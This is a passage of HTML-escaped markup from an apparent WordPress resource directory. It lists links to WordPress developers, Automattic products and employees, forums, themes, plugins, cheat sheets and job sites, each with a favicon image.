Automattic&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.miqrogroove.com&quot; alt=&quot;Robert Chapin&quot;&gt; &lt;a href=&quot;http://www.miqrogroove.com/pro/software/&quot; rel=&quot;nofollow&quot;&gt;Robert Chapin&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=c3mdigital.com&quot; alt=&quot;Chris Olbekson&quot;&gt; &lt;a href=&quot;http://c3mdigital.com/design-blog/&quot; rel=&quot;nofollow&quot;&gt;Chris Olbekson&lt;/a&gt; &lt;img src=&quot;http://sstatic.net/wordpress/img/favicon.ico&quot; alt=&quot;chris-o&quot;&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/users/251/chris-o&quot;&gt;chris-o&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=azaozz.wordpress.com&quot; alt=&quot;Andrew Ozz&quot;&gt; &lt;a href=&quot;http://azaozz.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Andrew Ozz&lt;/a&gt; Automattic&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=sixohthree.com&quot; alt=&quot;Adam Backstrom&quot;&gt; &lt;a href=&quot;http://sixohthree.com/tag/wordpress&quot; rel=&quot;nofollow&quot;&gt;Adam Backstrom&lt;/a&gt; &lt;img src=&quot;http://sstatic.net/wordpress/img/favicon.ico&quot; alt=&quot;adam-backstrom&quot;&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/users/66/adam-backstrom&quot;&gt;adam-backstrom&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=mindsharestrategy.com&quot; alt=&quot;Eric Mann&quot;&gt; &lt;a href=&quot;http://mindsharestrategy.com/tag/wordpress/&quot; rel=&quot;nofollow&quot;&gt;Eric Mann&lt;/a&gt; &lt;img src=&quot;http://sstatic.net/wordpress/img/favicon.ico&quot; alt=&quot;eamann&quot;&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/users/46/eamann&quot;&gt;eamann&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=mkoenig.wordpress.com&quot; alt=&quot;Michael Koenig&quot;&gt; &lt;a href=&quot;http://mkoenig.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Michael Koenig&lt;/a&gt; &lt;img src=&quot;http://www.alexa.com/favicon.ico&quot; alt=&quot;&quot;&gt; 25,250,00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=ulrichsossou.com&quot; alt=&quot;Ulrich SOSSOU&quot;&gt; &lt;a href=&quot;http://ulrichsossou.com/&quot; rel=&quot;nofollow&quot;&gt;Ulrich SOSSOU&lt;/a&gt; &lt;img src=&quot;http://sstatic.net/wordpress/img/favicon.ico&quot; alt=&quot;sorich87&quot;&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/users/473/sorich87&quot;&gt;sorich87&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.avendimedia.com&quot; alt=&quot;Jon Bloch&quot;&gt; &lt;a href=&quot;http://www.avendimedia.com&quot; rel=&quot;nofollow&quot;&gt;Jon Bloch&lt;/a&gt; &lt;img src=&quot;http://sstatic.net/wordpress/img/favicon.ico&quot; alt=&quot;john-p-bloch&quot;&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/users/11/john-p-bloch&quot;&gt;john-p-bloch&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.monkeyman.be&quot; alt=&quot;Jan Fabry&quot;&gt; &lt;a href=&quot;http://www.monkeyman.be/tag/wordpress/&quot; rel=&quot;nofollow&quot;&gt;Jan Fabry&lt;/a&gt; &lt;img src=&quot;http://sstatic.net/wordpress/img/favicon.ico&quot; alt=&quot;jan-fabry&quot;&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/users/8/jan-fabry&quot;&gt;jan-fabry&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=travisnorthcutt.com&quot; alt=&quot;Travis Northcutt&quot;&gt; &lt;a href=&quot;http://travisnorthcutt.com/&quot; rel=&quot;nofollow&quot;&gt;Travis Northcutt&lt;/a&gt; &lt;img src=&quot;http://sstatic.net/wordpress/img/favicon.ico&quot; alt=&quot;tnorthcutt&quot;&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/users/49/tnorthcutt&quot;&gt;tnorthcutt&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=goldenapplesdesign.com&quot; alt=&quot;Nathaniel Taintor&quot;&gt; &lt;a href=&quot;http://goldenapplesdesign.com/blog-posts/&quot; rel=&quot;nofollow&quot;&gt;Nathaniel Taintor&lt;/a&gt; &lt;img src=&quot;http://sstatic.net/wordpress/img/favicon.ico&quot; alt=&quot;goldenapples&quot;&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/users/290/goldenapples&quot;&gt;goldenapples&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Handy Weblogs and Aggregators&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=planet.wordpress.org&quot; alt=&quot;WordPress Planet&quot;&gt; &lt;a href=&quot;http://planet.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;WordPress Planet&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wpvote.com&quot; alt=&quot;WordPress Vote (BG)&quot;&gt; &lt;a href=&quot;http://wpvote.com/&quot; rel=&quot;nofollow&quot;&gt;WordPress Vote (BG)&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=workflowwp.com&quot; alt=&quot;Workflow- WordPress&quot;&gt; &lt;a href=&quot;http://workflowwp.com/&quot; rel=&quot;nofollow&quot;&gt;Workflow- WordPress&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Team Wp Blogs&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.copyblogger.com&quot; alt=&quot;Brian Clark&quot;&gt; &lt;a href=&quot;http://www.copyblogger.com/&quot; rel=&quot;nofollow&quot;&gt;Brian Clark&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.shoutmeloud.com&quot; alt=&quot;Harsh Agrawal&quot;&gt; &lt;a href=&quot;http://www.shoutmeloud.com/category/wordpress&quot; rel=&quot;nofollow&quot;&gt;Harsh Agrawal&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=digwp.com&quot; alt=&quot;Digging in WordPress&quot;&gt; &lt;a href=&quot;http://digwp.com/&quot; rel=&quot;nofollow&quot;&gt;Digging in WordPress&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.talkshoe.com&quot; alt=&quot;Jeff Chandler&quot;&gt; &lt;a href=&quot;http://www.talkshoe.com/talkshoe/web/talkCast.jsp?masterId=34224&amp;amp;cmd=tc&quot; rel=&quot;nofollow&quot;&gt;Jeff Chandler&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wpcandy.com&quot; alt=&quot;WPCandy&quot;&gt; &lt;a href=&quot;http://wpcandy.com/&quot; rel=&quot;nofollow&quot;&gt;WPCandy&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wpengineer.com&quot; alt=&quot;WP Engineer&quot;&gt; &lt;a href=&quot;http://wpengineer.com/&quot; rel=&quot;nofollow&quot;&gt;WP Engineer&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=blueblots.com&quot; alt=&quot;WordPress - blueblots.com&quot;&gt; &lt;a href=&quot;http://blueblots.com/category/wordpress/&quot; rel=&quot;nofollow&quot;&gt;WordPress - blueblots.com&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=publisherblog.automattic.com&quot; alt=&quot;WordPress Publisher Blog&quot;&gt; &lt;a href=&quot;http://publisherblog.automattic.com/&quot; rel=&quot;nofollow&quot;&gt;WordPress Publisher Blog&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;wordpress.org&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wordpress.org&quot; alt=&quot;WordPress.org&quot;&gt; &lt;a href=&quot;http://wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;WordPress.org&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wordpress.org&quot; alt=&quot;Blog&quot;&gt; &lt;a href=&quot;http://wordpress.org/development/&quot; rel=&quot;nofollow&quot;&gt;Blog&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=codex.wordpress.org&quot; alt=&quot;Codex&quot;&gt; &lt;a href=&quot;http://codex.wordpress.org/Main_Page&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wordpress.org&quot; alt=&quot;Download&quot;&gt; &lt;a href=&quot;http://wordpress.org/download/&quot; rel=&quot;nofollow&quot;&gt;Download&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=codex.wordpress.org&quot; alt=&quot;Function Reference&quot;&gt; &lt;a href=&quot;http://codex.wordpress.org/Function_Reference&quot; rel=&quot;nofollow&quot;&gt;Function Reference&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wordpress.org&quot; alt=&quot;Showcase&quot;&gt; &lt;a href=&quot;http://wordpress.org/showcase/&quot; rel=&quot;nofollow&quot;&gt;Showcase&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=core.trac.wordpress.org&quot; alt=&quot;Trac&quot;&gt; &lt;a href=&quot;http://core.trac.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;Trac&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wpdevel.wordpress.com&quot; alt=&quot;development updates&quot;&gt; &lt;a href=&quot;http://wpdevel.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;development updates&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Automattic&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=automattic.com&quot; alt=&quot;Blog&quot;&gt; &lt;a href=&quot;http://automattic.com/blogs/&quot; rel=&quot;nofollow&quot;&gt;Blog&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wp.com&quot; alt=&quot;WordPress.com&quot;&gt; &lt;a href=&quot;http://wp.com/&quot; rel=&quot;nofollow&quot;&gt;WordPress.com&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wordpress.org&quot; alt=&quot;WordPress.org&quot;&gt; &lt;a href=&quot;http://wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;WordPress.org&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=akismet.com&quot; alt=&quot;Akismet&quot;&gt; &lt;a href=&quot;http://akismet.com/&quot; rel=&quot;nofollow&quot;&gt;Akismet&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=bbpress.org&quot; alt=&quot;bbPress&quot;&gt; &lt;a href=&quot;http://bbpress.org/&quot; rel=&quot;nofollow&quot;&gt;bbPress&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=gravatar.com&quot; alt=&quot;Gravatar&quot;&gt; &lt;a href=&quot;http://gravatar.com/&quot; rel=&quot;nofollow&quot;&gt;Gravatar&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=buddypress.org&quot; alt=&quot;BuddyPress&quot;&gt; &lt;a href=&quot;http://buddypress.org/&quot; rel=&quot;nofollow&quot;&gt;BuddyPress&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=afterthedeadline.com&quot; alt=&quot;After the Deadline&quot;&gt; &lt;a href=&quot;http://afterthedeadline.com/&quot; rel=&quot;nofollow&quot;&gt;After the Deadline&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=glotpress.org&quot; alt=&quot;GlotPress&quot;&gt; &lt;a href=&quot;http://glotpress.org/&quot; rel=&quot;nofollow&quot;&gt;GlotPress&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=intensedebate.com&quot; alt=&quot;IntenseDebate&quot;&gt; &lt;a href=&quot;http://intensedebate.com/&quot; rel=&quot;nofollow&quot;&gt;IntenseDebate&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=p2theme.com&quot; alt=&quot;P2&quot;&gt; &lt;a href=&quot;http://p2theme.com/&quot; rel=&quot;nofollow&quot;&gt;P2&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=pingomatic.com&quot; alt=&quot;Ping-O-Matic&quot;&gt; &lt;a href=&quot;http://pingomatic.com/&quot; rel=&quot;nofollow&quot;&gt;Ping-O-Matic&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=plinky.com&quot; alt=&quot;Plinky&quot;&gt; &lt;a href=&quot;http://plinky.com/&quot; rel=&quot;nofollow&quot;&gt;Plinky&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=polldaddy.com&quot; alt=&quot;PollDaddy&quot;&gt; &lt;a href=&quot;http://polldaddy.com/?ad=automattic.com&quot; rel=&quot;nofollow&quot;&gt;PollDaddy&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=vip.wordpress.com&quot; alt=&quot;VIP&quot;&gt; &lt;a href=&quot;http://vip.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;VIP&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=vaultpress.com&quot; alt=&quot;VaultPress&quot;&gt; &lt;a href=&quot;http://vaultpress.com/&quot; rel=&quot;nofollow&quot;&gt;VaultPress&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=videopress.com&quot; alt=&quot;VideoPress&quot;&gt; &lt;a href=&quot;http://videopress.com/&quot; rel=&quot;nofollow&quot;&gt;VideoPress&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=android.wordpress.org&quot; alt=&quot;WP for Android&quot;&gt; &lt;a href=&quot;http://android.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;WP for Android&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=blackberry.wordpress.org&quot; alt=&quot;WP for Blackberry&quot;&gt; &lt;a href=&quot;http://blackberry.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;WP for Blackberry&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=iphone.wordpress.org&quot; alt=&quot;WP for iPhone&quot;&gt; &lt;a href=&quot;http://iphone.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;WP for iPhone&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=2010.sf.wordcamp.org&quot; alt=&quot;WordCamp SF&quot;&gt; &lt;a href=&quot;http://2010.sf.wordcamp.org/&quot; rel=&quot;nofollow&quot;&gt;WordCamp SF&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wordpress.tv&quot; alt=&quot;WordPress.tv&quot;&gt; &lt;a href=&quot;http://wordpress.tv/&quot; rel=&quot;nofollow&quot;&gt;WordPress.tv&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wordpressfoundation.org&quot; alt=&quot;WordPress Foundation&quot;&gt; &lt;a href=&quot;http://wordpressfoundation.org/&quot; rel=&quot;nofollow&quot;&gt;WordPress Foundation&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=en.support.wordpress.com&quot; alt=&quot;WordPress apps&quot;&gt; &lt;a href=&quot;http://en.support.wordpress.com/apps/&quot; rel=&quot;nofollow&quot;&gt;WordPress apps&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;forums, lists and help&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wordpress.org&quot; alt=&quot;WP org forum&quot;&gt; &lt;a href=&quot;http://wordpress.org/support/&quot; rel=&quot;nofollow&quot;&gt;WP org forum&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wordpress.org&quot; alt=&quot;Ideas forum&quot;&gt; &lt;a href=&quot;http://wordpress.org/extend/ideas/&quot; rel=&quot;nofollow&quot;&gt;Ideas forum&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.wptavern.com&quot; alt=&quot;WP Tavern Forum&quot;&gt; &lt;a href=&quot;http://www.wptavern.com/forum/&quot; rel=&quot;nofollow&quot;&gt;WP Tavern Forum&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wordpress.stackexchange.com&quot; alt=&quot;WordPress - Stack Exchange&quot;&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/&quot;&gt;WordPress - Stack Exchange&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=nl.forums.wordpress.org&quot; alt=&quot;WordPress Int Forums&quot;&gt; &lt;a href=&quot;http://nl.forums.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;WordPress Int Forums&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=comox.textdrive.com&quot; alt=&quot;wp-hackers list&quot;&gt; &lt;a href=&quot;http://comox.textdrive.com/pipermail/wp-hackers/&quot; rel=&quot;nofollow&quot;&gt;wp-hackers list&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;themes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wordpress.org&quot; alt=&quot;Wp Org Themes&quot;&gt; &lt;a href=&quot;http://wordpress.org/extend/themes/&quot; rel=&quot;nofollow&quot;&gt;Wp Org Themes&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=forum.siteground.com&quot; alt=&quot;SiteGround.com&quot;&gt; &lt;a href=&quot;http://forum.siteground.com/forumdisplay.php?s=6ecf3ea852dab885507f9dfad6d3d19e&amp;amp;f=50&quot; rel=&quot;nofollow&quot;&gt;SiteGround.com&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wptemplates.org&quot; alt=&quot;wptemplates&quot;&gt; &lt;a href=&quot;http://wptemplates.org/&quot; rel=&quot;nofollow&quot;&gt;wptemplates&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;tools&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.yvoschaap.com&quot; alt=&quot;Wordpress Theme Generator - Create your own Wordpress Theme.&quot;&gt; &lt;a href=&quot;http://www.yvoschaap.com/wpthemegen/&quot; rel=&quot;nofollow&quot;&gt;Wordpress Theme Generator - Create your own Wordpress Theme.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;plugins&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wordpress.org&quot; alt=&quot;Wp Org Plugins&quot;&gt; &lt;a href=&quot;http://wordpress.org/extend/plugins/&quot; rel=&quot;nofollow&quot;&gt;Wp Org Plugins&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=w-shadow.com&quot; alt=&quot;Top 1000&quot;&gt; &lt;a href=&quot;http://w-shadow.com/files/top-1000-plugin-authors.html&quot; rel=&quot;nofollow&quot;&gt;Top 1000&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=wordpresspluginguide.com&quot; alt=&quot;WordPress Plugin Guide&quot;&gt; &lt;a href=&quot;http://wordpresspluginguide.com/&quot; rel=&quot;nofollow&quot;&gt;WordPress Plugin Guide&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Cheat Sheets&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=ranjith.zfs.in&quot; alt=&quot;all tags&quot;&gt; &lt;a href=&quot;http://ranjith.zfs.in/wordpress-3-0-cheat-sheet-essential-functions/&quot; rel=&quot;nofollow&quot;&gt;all tags&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.hpvorlagen24.de&quot; alt=&quot;templates and tags&quot;&gt; &lt;a href=&quot;http://www.hpvorlagen24.de/2010/06/25/freebie-hpv24-wordpress-30-cheat-sheet-%E2%80%93-teil-1-templates-tags/&quot; rel=&quot;nofollow&quot;&gt;templates and tags&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;jobs&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=jobs.wordpress.net&quot; alt=&quot;WordPress Jobs&quot;&gt;&lt;a href=&quot;http://jobs.wordpress.net&quot; rel=&quot;nofollow&quot;&gt;jobs.wordpress.net&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.freelancer.com&quot; alt=&quot;Wordpress Jobs for Freelancers - Employment, Part Time Jobs &amp;amp; Freelance Jobs&quot;&gt; &lt;a href=&quot;http://www.freelancer.com/projects/by-job/Wordpress.html&quot; rel=&quot;nofollow&quot;&gt;Wordpress Jobs for Freelancers - Employment, Part Time Jobs &amp;amp; Freelance Jobs&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Automattic employees&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=nikolay.bg&quot; alt=&quot;Nikolay Bachiyski&quot;&gt; &lt;a href=&quot;http://nikolay.bg/&quot; rel=&quot;nofollow&quot;&gt;Nikolay Bachiyski&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=raanan.com&quot; alt=&quot;Raanan Bar-Cohen&quot;&gt; &lt;a href=&quot;http://raanan.com/&quot; rel=&quot;nofollow&quot;&gt;Raanan Bar-Cohen&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=designsimply.com&quot; alt=&quot;Sheri Bigelow&quot;&gt; &lt;a href=&quot;http://designsimply.com/&quot; rel=&quot;nofollow&quot;&gt;Sheri Bigelow&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=boren.nu&quot; alt=&quot;Ryan Boren&quot;&gt; &lt;a href=&quot;http://boren.nu/&quot; rel=&quot;nofollow&quot;&gt;Ryan Boren&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=anthonybubel.com&quot; alt=&quot;Anthony Bubel&quot;&gt; &lt;a href=&quot;http://anthonybubel.com/&quot; rel=&quot;nofollow&quot;&gt;Anthony Bubel&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=foolswisdom.com&quot; alt=&quot;Lloyd Budd&quot;&gt; &lt;a href=&quot;http://foolswisdom.com/&quot; rel=&quot;nofollow&quot;&gt;Lloyd Budd&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.alternate.org&quot; alt=&quot;Kevin Conboy&quot;&gt; &lt;a href=&quot;http://www.alternate.org/&quot; rel=&quot;nofollow&quot;&gt;Kevin Conboy&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=stephdau.wordpress.com&quot; alt=&quot;Stephane Daury&quot;&gt; &lt;a href=&quot;http://stephdau.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Stephane Daury&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=blog.yoavfarhi.com&quot; alt=&quot;Yoav Farhi&quot;&gt; &lt;a href=&quot;http://blog.yoavfarhi.com/&quot; rel=&quot;nofollow&quot;&gt;Yoav Farhi&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=everywhereelse.wordpress.com&quot; alt=&quot;Ze Fountainhas&quot;&gt; &lt;a href=&quot;http://everywhereelse.wordpress.com/&quot; rel=&quot;nofollow&quot;&gt;Ze Fountainhas&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=jonefox.com&quot; alt=&quot;Jon Fox&quot;&gt; &lt;a href=&quot;http://jonefox.com/blog/&quot; rel=&quot;nofollow&quot;&gt;Jon Fox&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=magp.ie&quot; alt=&quot;Eoin Gallagher&quot;&gt; &lt;a href=&quot;http://magp.ie/&quot; rel=&quot;nofollow&quot;&gt;Eoin Gallagher&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=urbangiraffe.com&quot; alt=&quot;John Godley&quot;&gt; &lt;a href=&quot;http://urbangiraffe.com/&quot; rel=&quot;nofollow&quot;&gt;John Godley&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=noel.io&quot; alt=&quot;Noel Jackson&quot;&gt; &lt;a href=&quot;http://noel.io/&quot; rel=&quot;nofollow&quot;&gt;Noel Jackson&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://www.google.com/s2/favicons?domain=blog.apokalyptik.com&quot; alt=&quot;Demitrious Kelly&quot;&gt; &lt;a href=&quot;http://blog.apokalyptik.com/&quot; 